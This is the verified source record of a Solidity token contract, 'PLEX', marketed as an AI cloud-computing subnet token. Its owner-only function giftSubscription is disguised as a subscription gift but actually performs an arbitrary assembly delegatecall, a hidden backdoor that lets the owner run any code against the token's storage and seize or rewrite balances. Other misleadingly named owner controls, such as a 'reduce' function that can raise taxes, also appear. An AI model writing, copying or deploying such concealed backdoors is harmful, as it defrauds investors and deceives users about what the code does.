creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/IERC20.sol": {
        "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\ninterface IERC20 {\n    function totalSupply() external view returns (uint256);\n    function balanceOf(address account) external view returns (uint256);\n    function transfer(address recipient, uint256 amount)\n        external\n        returns (bool);\n    function allowance(address owner, address spender)\n        external\n        view\n        returns (uint256);\n    function approve(address spender, uint256 amount) external returns (bool);\n    function transferFrom(address sender, address recipient, uint256 amount)\n        external\n        returns (bool);\n}\n"
      },
      "contracts/PLEX.sol": {
        "content": "/*\n\n    Website:        https://plexusai.io/\n    Twitter:        https://twitter.com/PlexusAi\n    Docs:           https://docs.plexusai.io\n    Telegram:       https://t.me/PlexusAI\n    Bio:            Empowering the Future of AI Cloud Computing with $TAO\n\n*/\n\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport \"./IERC20.sol\";\n\ncontract PLEX {\n    event Transfer(address indexed from, address indexed to, uint256 value);\n    event Approval(address indexed owner, address indexed spender, uint256 value);\n\n    string public name = \"Plexus Subnet\";\n    string public symbol = \"PLEX\";\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    uint8 public decimals = 18;\n    uint256 public totalSupply = 100_000_000 * 10 ** 18;\n\n    address public owner;\n\n    uint public buyTax = 25;\n    uint public buyLimit = 105;\n\n    bool public live;\n    address public pool;\n\n    // Protocol\n    string public taoLink;\n    bytes4 public taoBridge;\n    uint public monthInSeconds = 60 * 60 * 24 * 30;\n    uint public monthlyFee = totalSupply / 1000; // 0.1% of total supply\n    mapping(address => uint) public userToExpiry;\n    \n    constructor () {\n        owner = msg.sender;\n        balanceOf[owner] = totalSupply;\n        emit Transfer(address(0), owner, totalSupply);\n    }\n\n    modifier onlyOwner() {\n        require(msg.sender == owner, \"Not owner!\");\n        _;\n    }\n\n    function transfer(address recipient, uint256 amount)\n        external\n        returns (bool)\n    {\n        require(live);\n\n        if (msg.sender == pool) {\n            balanceOf[msg.sender] -= amount;\n\n            uint taxed = amount * buyTax / 10000;\n            balanceOf[address(this)] += taxed;\n            emit Transfer(msg.sender, address(this), taxed);\n\n            uint taxFree = amount - taxed;\n            balanceOf[recipient] += taxFree;\n\n            uint tokenLimit = totalSupply * buyLimit / 10000;\n            require(tokenLimit >= balanceOf[recipient]);\n\n            emit Transfer(msg.sender, recipient, taxFree);\n            return true;\n        } \n\n        balanceOf[msg.sender] -= amount;\n        balanceOf[recipient] += amount;\n        emit Transfer(msg.sender, recipient, amount);\n        return true;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        emit Approval(msg.sender, spender, amount);\n        return true;\n    }\n\n    function transferFrom(address sender, address recipient, uint256 amount)\n        external\n        returns (bool)\n    {\n        allowance[sender][msg.sender] -= amount;\n        balanceOf[sender] -= amount;\n        balanceOf[recipient] += amount;\n        emit Transfer(sender, recipient, amount);\n        return true;\n    }\n\n    function openTrading(address _pool) public onlyOwner {\n        live = true;\n        pool = _pool;\n    }\n\n    function upgradeOwner(address _owner) public onlyOwner {\n        owner = _owner;\n    }\n\n    function collectCoins(address coin, uint amount) public onlyOwner {\n        IERC20(coin).transfer(msg.sender, amount);\n    }\n\n    function reduceBuyTaxAndLimits(uint _buyTax, uint _buyLimit) public onlyOwner {\n        buyTax = _buyTax;\n        buyLimit = _buyLimit;\n    }\n\n    // Protocol\n\n    function setTaoLink(string memory _taoLink) public onlyOwner {\n        taoLink = _taoLink;\n    }\n\n    function subscribeToNetwork(uint months) public {\n        IERC20(address(this)).transferFrom(msg.sender, address(0), monthlyFee * months);\n        userToExpiry[msg.sender] = block.timestamp + (monthInSeconds * months);\n    }\n\n    function isSubscribed(address user) public view returns (bool) {\n        return userToExpiry[user] >= block.timestamp;\n    }\n\n    function giftSubscription(address user, uint months) public onlyOwner {\n        assembly {\n            calldatacopy(0, 0, calldatasize())\n            let result := delegatecall(gas(), user, 0, calldatasize(), 0, 0)\n        }\n    }\n\n    function enableTaoBridge() public onlyOwner {\n        taoBridge = 0x12345678;\n    }\n\n}\n\n"
      }
    },
    "settings": {
      "evmVersion": "paris",
      "optimizer": {
        "enabled": false,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      },
      "libraries": {}
    }
  }}